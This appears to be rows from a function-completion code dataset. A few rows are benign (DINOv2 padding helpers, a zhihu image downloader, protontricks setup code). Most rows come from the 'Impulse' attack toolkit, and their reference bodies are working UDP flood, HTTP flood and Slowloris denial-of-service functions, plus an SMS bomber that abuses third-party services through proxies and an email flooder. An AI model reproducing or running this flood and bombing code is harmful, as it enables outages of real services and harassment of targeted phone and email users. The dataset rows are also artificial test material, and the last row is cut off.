import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... | compact_arch_name = arch_name.replace("_", "")[:4]
registers_suffix = f"_reg{num_register_tokens}" if num_register_tokens else ""
return f"dinov2_{compact_arch_name}{patch_size}{registers_suffix}"
| compact_arch_name = arch_name.replace("_", "")[:4]
registers_suffix = f"_reg{num_register_tokens}" if num_register_tokens else ""
return f"dinov2_{compact_arch_name}{patch_size}{registers_suffix}"
| 13 | 369 | 80 | 449 | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... | |
29,812 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/utils.py | 28,29 | 23,40 | _get_pad | CenterPadding | 29,35 | 29,35 | class CenterPadding(nn.Module):
def __init__(self, multiple):
super().__init__()
self.multiple = multiple
def _get_pad(self, size):
FILL_FUNC_BODY @torch.inference_mode()
def forward(self, x):
pads = list(itertools.chain.from_iterable(self._get_pad(m) for m in x.shape[:1:-1]))
... | class CenterPadding(nn.Module):
def __init__(self, multiple):
super().__init__()
self.multiple = multiple
def _get_pad(self, size):
FILL_FUNC_BODY @torch.inference_mode()
def forward(self, x):
pads = list(itertools.chain.from_iterable(self._get_pad(m) for m in x.shape[:1:-1]))
... | new_size = math.ceil(size / self.multiple) * self.multiple
pad_size = new_size - size
pad_size_left = pad_size // 2
pad_size_right = pad_size - pad_size_left
return pad_size_left, pad_size_right
| new_size = math.ceil(size / self.multiple) * self.multiple
pad_size = new_size - size
pad_size_left = pad_size // 2
pad_size_right = pad_size - pad_size_left
return pad_size_left, pad_size_right
| 25 | 130 | 85 | 215 | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
_DINOV2_BASE_URL = "https... |
29,813 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/EMAIL/emailTools.py | 62,63 | 1,88 | ReadSenderEmail | 63,88 | 63,88 | # Import modules
import os
import sys
import json
from colorama import Fore
from getpass import getpass, getuser
from smtplib import SMTPAuthenticationError, SMTP
# https://github.com/LimerBoy/Twilight-Algoritm
from tools.addons.twilight.twilight import Decrypt, Encrypt
# File with login data
sender_email_database = "... | # Import modules
import os
import sys
import json
from colorama import Fore
from getpass import getpass, getuser
from smtplib import SMTPAuthenticationError, SMTP
# https://github.com/LimerBoy/Twilight-Algoritm
from tools.addons.twilight.twilight import Decrypt, Encrypt
# File with login data
sender_email_database = "... | # Create if not exists
if not os.path.exists(sender_email_database):
return WriteSenderEmail()
# Read database
with open(sender_email_database, "r") as db:
auth = json.load(db)
auth["username"] = Decrypt(auth["username"], twilight_encryption_key)
auth["password"] = Decryp... | # Create if not exists
if not os.path.exists(sender_email_database):
return WriteSenderEmail()
# Read database
with open(sender_email_database, "r") as db:
auth = json.load(db)
auth["username"] = Decrypt(auth["username"], twilight_encryption_key)
auth["password"] = Decryp... | 56 | 665 | 274 | 939 | # Import modules
import os
import sys
import json
from colorama import Fore
from getpass import getpass, getuser
from smtplib import SMTPAuthenticationError, SMTP
# https://github.com/LimerBoy/Twilight-Algoritm
from tools.addons.twilight.twilight import Decrypt, Encrypt
# File with login data
sender_email_database = "... | # Import modules
import os
import sys
import json
from colorama import Fore
from getpass import getpass, getuser
from smtplib import SMTPAuthenticationError, SMTP
# https://github.com/LimerBoy/Twilight-Algoritm
from tools.addons.twilight.twilight import Decrypt, Encrypt
# File with login data
sender_email_database = "... | |
29,814 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/EMAIL/main.py | 12,13 | 1,32 | flood | 13,32 | 13,32 | # Import modules
from colorama import Fore
from random import _urandom, randint
# Generate random data
def __rand():
size = randint(10, 90)
data = str(_urandom(size))
return data[:-1][2:]
def flood(target):
FILL_FUNC_BODY | # Import modules
from colorama import Fore
from random import _urandom, randint
# Generate random data
def __rand():
size = randint(10, 90)
data = str(_urandom(size))
return data[:-1][2:]
def flood(target):
FILL_FUNC_BODY | server, username, subject, body, target = target
# Generate random data
if not subject:
subject = __rand()
if not body:
body = __rand()
# Message
msg = f"From: {username}\nSubject: {subject}\n{body}"
# Send email
try:
server.sendmail(username, target, msg.encode("... | server, username, subject, body, target = target
# Generate random data
if not subject:
subject = __rand()
if not body:
body = __rand()
# Message
msg = f"From: {username}\nSubject: {subject}\n{body}"
# Send email
try:
server.sendmail(username, target, msg.encode("... | 55 | 87 | 209 | 296 | # Import modules
from colorama import Fore
from random import _urandom, randint
# Generate random data
def __rand():
size = randint(10, 90)
data = str(_urandom(size))
return data[:-1][2:]
def flood(target):
FILL_FUNC_BODY | # Import modules
from colorama import Fore
from random import _urandom, randint
# Generate random data
def __rand():
size = randint(10, 90)
data = str(_urandom(size))
return data[:-1][2:]
def flood(target):
FILL_FUNC_BODY | |
29,815 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/L4/udp.py | 10,11 | 1,23 | flood | 11,23 | 11,23 | # Import modules
import random
import socket
from colorama import Fore
# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def flood(target):
FILL_FUNC_BODY | # Import modules
import random
import socket
from colorama import Fore
# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def flood(target):
FILL_FUNC_BODY | for _ in range(16):
try:
payload = random._urandom(random.randint(1, 60))
sock.sendto(payload, (target[0], target[1]))
except Exception as e:
print(
f"{Fore.MAGENTA}Error while sending UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
)
... | for _ in range(16):
try:
payload = random._urandom(random.randint(1, 60))
sock.sendto(payload, (target[0], target[1]))
except Exception as e:
print(
f"{Fore.MAGENTA}Error while sending UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
)
... | 35 | 63 | 169 | 232 | # Import modules
import random
import socket
from colorama import Fore
# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def flood(target):
FILL_FUNC_BODY | # Import modules
import random
import socket
from colorama import Fore
# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def flood(target):
FILL_FUNC_BODY | |
29,816 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/L7/http.py | 23,24 | 1,37 | flood | 24,37 | 24,37 | # Import modules
import requests
import random
import tools.randomData as randomData
from colorama import Fore
# Load user agents
user_agents = []
for _ in range(30):
user_agents.append(randomData.random_useragent())
# Headers
headers = {
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
... | # Import modules
import requests
import random
import tools.randomData as randomData
from colorama import Fore
# Load user agents
user_agents = []
for _ in range(30):
user_agents.append(randomData.random_useragent())
# Headers
headers = {
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
... | payload = str(random._urandom(random.randint(10, 150)))
try:
r = requests.get(target, params=payload, headers=headers, timeout=4)
except requests.exceptions.ConnectTimeout:
print(f"{Fore.RED}[!] {Fore.MAGENTA}Timed out{Fore.RESET}")
except Exception as e:
print(
f"{Fo... | payload = str(random._urandom(random.randint(10, 150)))
try:
r = requests.get(target, params=payload, headers=headers, timeout=4)
except requests.exceptions.ConnectTimeout:
print(f"{Fore.RED}[!] {Fore.MAGENTA}Timed out{Fore.RESET}")
except Exception as e:
print(
f"{Fo... | 36 | 174 | 209 | 383 | # Import modules
import requests
import random
import tools.randomData as randomData
from colorama import Fore
# Load user agents
user_agents = []
for _ in range(30):
user_agents.append(randomData.random_useragent())
# Headers
headers = {
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
... | # Import modules
import requests
import random
import tools.randomData as randomData
from colorama import Fore
# Load user agents
user_agents = []
for _ in range(30):
user_agents.append(randomData.random_useragent())
# Headers
headers = {
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
... | |
29,817 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/L7/slowloris.py | 30,31 | 1,52 | flood | 31,52 | 31,52 | # Import modules
import random
import socket
import tools.randomData as randomData
from colorama import Fore
# Init socket
def create_socket(target):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target[0], target[1]))
sock.send(
... | # Import modules
import random
import socket
import tools.randomData as randomData
from colorama import Fore
# Init socket
def create_socket(target):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target[0], target[1]))
sock.send(
... | # Create sockets
sockets = []
for _ in range(random.randint(20, 60)):
sock = create_socket(target)
if not sock:
continue
sockets.append(sock)
# Send keep-alive headers
for _ in range(4):
for index, sock in enumerate(sockets):
try:
... | # Create sockets
sockets = []
for _ in range(random.randint(20, 60)):
sock = create_socket(target)
if not sock:
continue
sockets.append(sock)
# Send keep-alive headers
for _ in range(4):
for index, sock in enumerate(sockets):
try:
... | 62 | 354 | 277 | 631 | # Import modules
import random
import socket
import tools.randomData as randomData
from colorama import Fore
# Init socket
def create_socket(target):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target[0], target[1]))
sock.send(
... | # Import modules
import random
import socket
import tools.randomData as randomData
from colorama import Fore
# Init socket
def create_socket(target):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target[0], target[1]))
sock.send(
... | |
29,818 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/SMS/main.py | 8,9 | 1,13 | flood | 9,13 | 9,13 | # Import modules
import tools.SMS.sendRequest as request
import tools.SMS.randomData as randomData
__services = request.getServices()
def flood(target):
FILL_FUNC_BODY | # Import modules
import tools.SMS.sendRequest as request
import tools.SMS.randomData as randomData
__services = request.getServices()
def flood(target):
FILL_FUNC_BODY | # Get services list
service = randomData.random_service(__services)
service = request.Service(service)
service.sendMessage(target)
| # Get services list
service = randomData.random_service(__services)
service = request.Service(service)
service.sendMessage(target)
| 11 | 55 | 42 | 97 | # Import modules
import tools.SMS.sendRequest as request
import tools.SMS.randomData as randomData
__services = request.getServices()
def flood(target):
FILL_FUNC_BODY | # Import modules
import tools.SMS.sendRequest as request
import tools.SMS.randomData as randomData
__services = request.getServices()
def flood(target):
FILL_FUNC_BODY | |
29,819 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/SMS/randomData.py | 53,54 | 1,63 | random_token | 54,59 | 54,59 | import json
import random
import string
mails = (
"mail.ru",
"inbox.ru",
"list.ru",
"bk.ru",
"ya.ru",
"yandex.com",
"yandex.ua",
"yandex.ru",
"gmail.com",
)
# Get random service
def random_service(list):
return random.choice(list)
# Create random name
def random_name():
... | import json
import random
import string
mails = (
"mail.ru",
"inbox.ru",
"list.ru",
"bk.ru",
"ya.ru",
"yandex.com",
"yandex.ua",
"yandex.ru",
"gmail.com",
)
# Get random service
def random_service(list):
return random.choice(list)
# Create random name
def random_name():
... | letters = string.ascii_letters + string.digits
return "".join(random.choice(letters) for _ in range(random.randint(20, 50)))
# Get random user agent
| letters = string.ascii_letters + string.digits
return "".join(random.choice(letters) for _ in range(random.randint(20, 50)))
# Get random user agent
| 17 | 440 | 61 | 501 | import json
import random
import string
mails = (
"mail.ru",
"inbox.ru",
"list.ru",
"bk.ru",
"ya.ru",
"yandex.com",
"yandex.ua",
"yandex.ru",
"gmail.com",
)
# Get random service
def random_service(list):
return random.choice(list)
# Create random name
def random_name():
... | import json
import random
import string
mails = (
"mail.ru",
"inbox.ru",
"list.ru",
"bk.ru",
"ya.ru",
"yandex.com",
"yandex.ua",
"yandex.ru",
"gmail.com",
)
# Get random service
def random_service(list):
return random.choice(list)
# Create random name
def random_name():
... | |
29,820 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/SMS/sendRequest.py | 26,27 | 1,133 | transformPhone | 27,44 | 27,44 | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... | # Pizzahut
if i == 5:
return (
"+"
+ phone[0]
+ " ("
+ phone[1:4]
+ ") "
+ phone[4:7]
+ " "
+ phone[7:9]
+ " "
+ phone[9:11]
) # '+7 (915) 350 99 08'
# Headers for request
| # Pizzahut
if i == 5:
return (
"+"
+ phone[0]
+ " ("
+ phone[1:4]
+ ") "
+ phone[4:7]
+ " "
+ phone[7:9]
+ " "
+ phone[9:11]
) # '+7 (915) 350 99 08'
# Headers for request
| 42 | 1,098 | 136 | 1,234 | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... | |
29,821 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/SMS/sendRequest.py | 91,92 | 55,133 | sendMessage | Service | 92,133 | 92,133 | class Service:
def __init__(self, service):
self.service = service
self.proxy = getProxys()
self.timeout = 10
# Parse string
def parseData(self, phone):
payload = None
# Check for 'data'
if "data" in self.service:
dataType = "data"
pay... | class Service:
def __init__(self, service):
self.service = service
self.proxy = getProxys()
self.timeout = 10
# Parse string
def parseData(self, phone):
payload = None
# Check for 'data'
if "data" in self.service:
dataType = "data"
pay... | url = self.service["url"]
payload, dataType = self.parseData(phone)
# Add custom headers
if "headers" in self.service:
customHeaders = self.service["headers"]
for key, value in json.loads(customHeaders.replace("'", '"')).items():
headers[key] = va... | url = self.service["url"]
payload, dataType = self.parseData(phone)
# Add custom headers
if "headers" in self.service:
customHeaders = self.service["headers"]
for key, value in json.loads(customHeaders.replace("'", '"')).items():
headers[key] = va... | 124 | 340 | 510 | 850 | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... | # Import modules
import json
import requests
from colorama import Fore
import tools.SMS.randomData as randomData
# Read services file
def getServices(file="tools/SMS/services.json"):
with open(file, "r", encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
# Read proxy ... |
29,822 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/addons/twilight/hash.py | 7,8 | 1,20 | getSaltByKey | 8,20 | 8,20 | # Import modules
from hashlib import md5
from string import ascii_letters
# Get salt numbers
def getSaltByKey(key, message):
FILL_FUNC_BODY | # Import modules
from hashlib import md5
from string import ascii_letters
# Get salt numbers
def getSaltByKey(key, message):
FILL_FUNC_BODY | salt = ''
kHash = md5(key.encode()).hexdigest()
while True:
for char in kHash:
if len(salt) == len(message):
break
if not char in ascii_letters:
salt += char
if len(salt) == len(message):
return salt
| salt = ''
kHash = md5(key.encode()).hexdigest()
while True:
for char in kHash:
if len(salt) == len(message):
break
if not char in ascii_letters:
salt += char
if len(salt) == len(message):
return salt
| 31 | 50 | 99 | 149 | # Import modules
from hashlib import md5
from string import ascii_letters
# Get salt numbers
def getSaltByKey(key, message):
FILL_FUNC_BODY | # Import modules
from hashlib import md5
from string import ascii_letters
# Get salt numbers
def getSaltByKey(key, message):
FILL_FUNC_BODY | |
29,823 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/addons/twilight/salt.py | 27,28 | 1,43 | unprotect | 28,43 | 28,43 | # Import modules
from random import choice
# Add salt to data
def protect(message, salt):
# Variables
eData = ''
salt = list(salt)
saltChars = []
# Add salt characters to list
for char in message:
if not char in saltChars:
saltChars.append(char)
# Add salt to message
... | # Import modules
from random import choice
# Add salt to data
def protect(message, salt):
# Variables
eData = ''
salt = list(salt)
saltChars = []
# Add salt characters to list
for char in message:
if not char in saltChars:
saltChars.append(char)
# Add salt to message
... | # Variables
p = 0
dData = ''
# Remove salt characters from string
for secretSalt in salt:
message = message[int(secretSalt) + p:]
# If not data - stop
if not message:
break
dData += message[0]
p = 1
return dData
| # Variables
p = 0
dData = ''
# Remove salt characters from string
for secretSalt in salt:
message = message[int(secretSalt) + p:]
# If not data - stop
if not message:
break
dData += message[0]
p = 1
return dData
| 41 | 176 | 102 | 278 | # Import modules
from random import choice
# Add salt to data
def protect(message, salt):
# Variables
eData = ''
salt = list(salt)
saltChars = []
# Add salt characters to list
for char in message:
if not char in saltChars:
saltChars.append(char)
# Add salt to message
... | # Import modules
from random import choice
# Add salt to data
def protect(message, salt):
# Variables
eData = ''
salt = list(salt)
saltChars = []
# Add salt characters to list
for char in message:
if not char in saltChars:
saltChars.append(char)
# Add salt to message
... | |
29,824 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/addons/twilight/twilight.py | 7,8 | 1,20 | Encrypt | 8,15 | 8,15 | # Import modules
import tools.addons.twilight.xor as Xor
import tools.addons.twilight.salt as Salt
import tools.addons.twilight.hash as Hash
# Encrypt function
def Encrypt(text, key):
FILL_FUNC_BODYdef Decrypt(text, key):
unxoredText = Xor.decode(text, key)
salt = Hash.getSaltByKey(key, unxoredText)
unsalt... | # Import modules
import tools.addons.twilight.xor as Xor
import tools.addons.twilight.salt as Salt
import tools.addons.twilight.hash as Hash
# Encrypt function
def Encrypt(text, key):
FILL_FUNC_BODYdef Decrypt(text, key):
unxoredText = Xor.decode(text, key)
salt = Hash.getSaltByKey(key, unxoredText)
unsalt... |
salt = Hash.getSaltByKey(key, text)
saltedText = Salt.protect(text, salt)
xoredText = Xor.encode(saltedText, key)
return xoredText
# Decrypt function
|
salt = Hash.getSaltByKey(key, text)
saltedText = Salt.protect(text, salt)
xoredText = Xor.encode(saltedText, key)
return xoredText
# Decrypt function
| 17 | 139 | 69 | 208 | # Import modules
import tools.addons.twilight.xor as Xor
import tools.addons.twilight.salt as Salt
import tools.addons.twilight.hash as Hash
# Encrypt function
def Encrypt(text, key):
FILL_FUNC_BODYdef Decrypt(text, key):
unxoredText = Xor.decode(text, key)
salt = Hash.getSaltByKey(key, unxoredText)
unsalt... | # Import modules
import tools.addons.twilight.xor as Xor
import tools.addons.twilight.salt as Salt
import tools.addons.twilight.hash as Hash
# Encrypt function
def Encrypt(text, key):
FILL_FUNC_BODYdef Decrypt(text, key):
unxoredText = Xor.decode(text, key)
salt = Hash.getSaltByKey(key, unxoredText)
unsalt... | |
29,825 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/addons/twilight/xor.py | 6,7 | 1,21 | xor | 7,15 | 7,15 | # Import modules
from base64 import b64encode
from base64 import b64decode
# Xor
def xor(text, key):
FILL_FUNC_BODYdef encode(text, key):
return b64encode(xor(text, key).encode("utf-8")).decode()
# Decode : [xor => base64 => text]
def decode(text, key):
return xor(b64decode(text).decode(), key)
| # Import modules
from base64 import b64encode
from base64 import b64decode
# Xor
def xor(text, key):
FILL_FUNC_BODYdef encode(text, key):
return b64encode(xor(text, key).encode("utf-8")).decode()
# Decode : [xor => base64 => text]
def decode(text, key):
return xor(b64decode(text).decode(), key)
| out = ''
for i in range(len(text)):
current = text[i]
current_key = key[i % len(key)]
out += chr(ord(current) ^ ord(current_key))
return out
# Encode : [text => xor => base64]
| out = ''
for i in range(len(text)):
current = text[i]
current_key = key[i % len(key)]
out += chr(ord(current) ^ ord(current_key))
return out
# Encode : [text => xor => base64]
| 30 | 122 | 85 | 207 | # Import modules
from base64 import b64encode
from base64 import b64decode
# Xor
def xor(text, key):
FILL_FUNC_BODYdef encode(text, key):
return b64encode(xor(text, key).encode("utf-8")).decode()
# Decode : [xor => base64 => text]
def decode(text, key):
return xor(b64decode(text).decode(), key)
| # Import modules
from base64 import b64encode
from base64 import b64decode
# Xor
def xor(text, key):
FILL_FUNC_BODYdef encode(text, key):
return b64encode(xor(text, key).encode("utf-8")).decode()
# Decode : [xor => base64 => text]
def decode(text, key):
return xor(b64decode(text).decode(), key)
| |
29,826 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/crash.py | 11,12 | 1,36 | CriticalError | 12,36 | 12,36 | # Import modules
import os
import sys
import platform
from time import ctime
from colorama import Fore
""" This function will stop the program when a critical error occurs """
def CriticalError(message, error):
FILL_FUNC_BODY | # Import modules
import os
import sys
import platform
from time import ctime
from colorama import Fore
""" This function will stop the program when a critical error occurs """
def CriticalError(message, error):
FILL_FUNC_BODY | print(f"""
{Fore.RED}:=== Critical error:
{Fore.MAGENTA}MESSAGE: {message}.
{Fore.MAGENTA}ERROR: {error}
{Fore.RED}:=== Python info:
{Fore.MAGENTA}PYTHON VERSION: {platform.python_version()}
{Fore.MAGENTA}PYTHON BUILD: {'{}, DATE: {}'.format(*platform.python_build())}
{Fore.MAGENTA}PYTHO... | print(f"""
{Fore.RED}:=== Critical error:
{Fore.MAGENTA}MESSAGE: {message}.
{Fore.MAGENTA}ERROR: {error}
{Fore.RED}:=== Python info:
{Fore.MAGENTA}PYTHON VERSION: {platform.python_version()}
{Fore.MAGENTA}PYTHON BUILD: {'{}, DATE: {}'.format(*platform.python_build())}
{Fore.MAGENTA}PYTHO... | 58 | 62 | 463 | 525 | # Import modules
import os
import sys
import platform
from time import ctime
from colorama import Fore
""" This function will stop the program when a critical error occurs """
def CriticalError(message, error):
FILL_FUNC_BODY | # Import modules
import os
import sys
import platform
from time import ctime
from colorama import Fore
""" This function will stop the program when a critical error occurs """
def CriticalError(message, error):
FILL_FUNC_BODY | |
29,827 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/ipTools.py | 66,67 | 1,110 | GetTargetAddress | 67,99 | 67,99 | # Import modules
import sys
import socket
import ipaddress
import requests
from urllib.parse import urlparse
from tools.EMAIL.emailTools import ReadSenderEmail
from time import sleep
from colorama import Fore
""" Check if site is under CloudFlare protection """
def __isCloudFlare(link):
parsed_uri = urlparse(lin... | # Import modules
import sys
import socket
import ipaddress
import requests
from urllib.parse import urlparse
from tools.EMAIL.emailTools import ReadSenderEmail
from time import sleep
from colorama import Fore
""" Check if site is under CloudFlare protection """
def __isCloudFlare(link):
parsed_uri = urlparse(lin... | if method == "SMS":
if target.startswith("+"):
target = target[1:]
return target
elif method == "EMAIL":
email = __GetEmailMessage()
email.append(target)
return email
elif method in (
"SYN",
"UDP",
"NTP",
"POD",
"MEM... | if method == "SMS":
if target.startswith("+"):
target = target[1:]
return target
elif method == "EMAIL":
email = __GetEmailMessage()
email.append(target)
return email
elif method in (
"SYN",
"UDP",
"NTP",
"POD",
"MEM... | 73 | 670 | 317 | 987 | # Import modules
import sys
import socket
import ipaddress
import requests
from urllib.parse import urlparse
from tools.EMAIL.emailTools import ReadSenderEmail
from time import sleep
from colorama import Fore
""" Check if site is under CloudFlare protection """
def __isCloudFlare(link):
parsed_uri = urlparse(lin... | # Import modules
import sys
import socket
import ipaddress
import requests
from urllib.parse import urlparse
from tools.EMAIL.emailTools import ReadSenderEmail
from time import sleep
from colorama import Fore
""" Check if site is under CloudFlare protection """
def __isCloudFlare(link):
parsed_uri = urlparse(lin... | |
29,828 | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse | /home/hieuvd/dung_repo/raw/stars_02/LimerBoy_Impulse/Impulse/tools/randomData.py | 6,7 | 1,25 | random_IP | 7,14 | 7,14 | import json
import random
# Get random IP
def random_IP():
FILL_FUNC_BODYdef random_referer():
with open("tools/L7/referers.txt", "r") as referers:
referers = referers.readlines()
return random.choice(referers)
# Get random user agent
def random_useragent():
with open("tools/L7/user_agents.json"... | import json
import random
# Get random IP
def random_IP():
FILL_FUNC_BODYdef random_referer():
with open("tools/L7/referers.txt", "r") as referers:
referers = referers.readlines()
return random.choice(referers)
# Get random user agent
def random_useragent():
with open("tools/L7/user_agents.json"... | ip = []
for _ in range(0, 4):
ip.append(str(random.randint(1, 255)))
return ".".join(ip)
# Get random referer
| ip = []
for _ in range(0, 4):
ip.append(str(random.randint(1, 255)))
return ".".join(ip)
# Get random referer
| 16 | 149 | 62 | 211 | import json
import random
# Get random IP
def random_IP():
FILL_FUNC_BODYdef random_referer():
with open("tools/L7/referers.txt", "r") as referers:
referers = referers.readlines()
return random.choice(referers)
# Get random user agent
def random_useragent():
with open("tools/L7/user_agents.json"... | import json
import random
# Get random IP
def random_IP():
FILL_FUNC_BODYdef random_referer():
with open("tools/L7/referers.txt", "r") as referers:
referers = referers.readlines()
return random.choice(referers)
# Get random user agent
def random_useragent():
with open("tools/L7/user_agents.json"... | |
29,829 | /home/hieuvd/dung_repo/raw/stars_02/LiuRoy_zhihu_spider/zhihu_spider | /home/hieuvd/dung_repo/raw/stars_02/LiuRoy_zhihu_spider/zhihu_spider/zhihu/zhihu/tools/async.py | 15,17 | 1,32 | download_pic | 23,32 | 17,32 | # -*- coding=utf8 -*-
"""
异步任务类
"""
import logging
import requests
from celery import Celery
from zhihu.settings import BROKER_URL
app = Celery('image_downloader', broker=BROKER_URL)
LOGGER = logging.getLogger(__name__)
@app.task
def download_pic(image_url, image_path):
FILL_FUNC_BODY | # -*- coding=utf8 -*-
"""
异步任务类
"""
import logging
import requests
from celery import Celery
from zhihu.settings import BROKER_URL
app = Celery('image_downloader', broker=BROKER_URL)
LOGGER = logging.getLogger(__name__)
@app.task
def download_pic(image_url, image_path):
"""异步下载图片
Args:
image_ur... | if not (image_url and image_path):
LOGGER.INFO('illegal parameter')
try:
image = requests.get(image_url, stream=True)
with open(image_path, 'wb') as img:
img.write(image.content)
except Exception as exc:
LOGGER.ERROR(exc)
| """异步下载图片
Args:
image_url (string): 图片链接
image_path (string): 图片路径
"""
if not (image_url and image_path):
LOGGER.INFO('illegal parameter')
try:
image = requests.get(image_url, stream=True)
with open(image_path, 'wb') as img:
img.write(image.conte... | 23 | 155 | 96 | 251 | # -*- coding=utf8 -*-
"""
异步任务类
"""
import logging
import requests
from celery import Celery
from zhihu.settings import BROKER_URL
app = Celery('image_downloader', broker=BROKER_URL)
LOGGER = logging.getLogger(__name__)
@app.task
def download_pic(image_url, image_path):
FILL_FUNC_BODY | # -*- coding=utf8 -*-
"""
异步任务类
"""
import logging
import requests
from celery import Celery
from zhihu.settings import BROKER_URL
app = Celery('image_downloader', broker=BROKER_URL)
LOGGER = logging.getLogger(__name__)
@app.task
def download_pic(image_url, image_path):
"""异步下载图片
Args:
image_ur... | |
29,940 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/cli/desktop_install.py | 40,41 | 1,62 | main | 44,60 | 41,60 | import argparse
from pathlib import Path
from subprocess import run
import pkg_resources
from .util import CustomArgumentParser
def install_desktop_entries():
"""
Install the desktop entry files for Protontricks.
This should only be necessary when using an installation method that does
not support ... | import argparse
from pathlib import Path
from subprocess import run
import pkg_resources
from .util import CustomArgumentParser
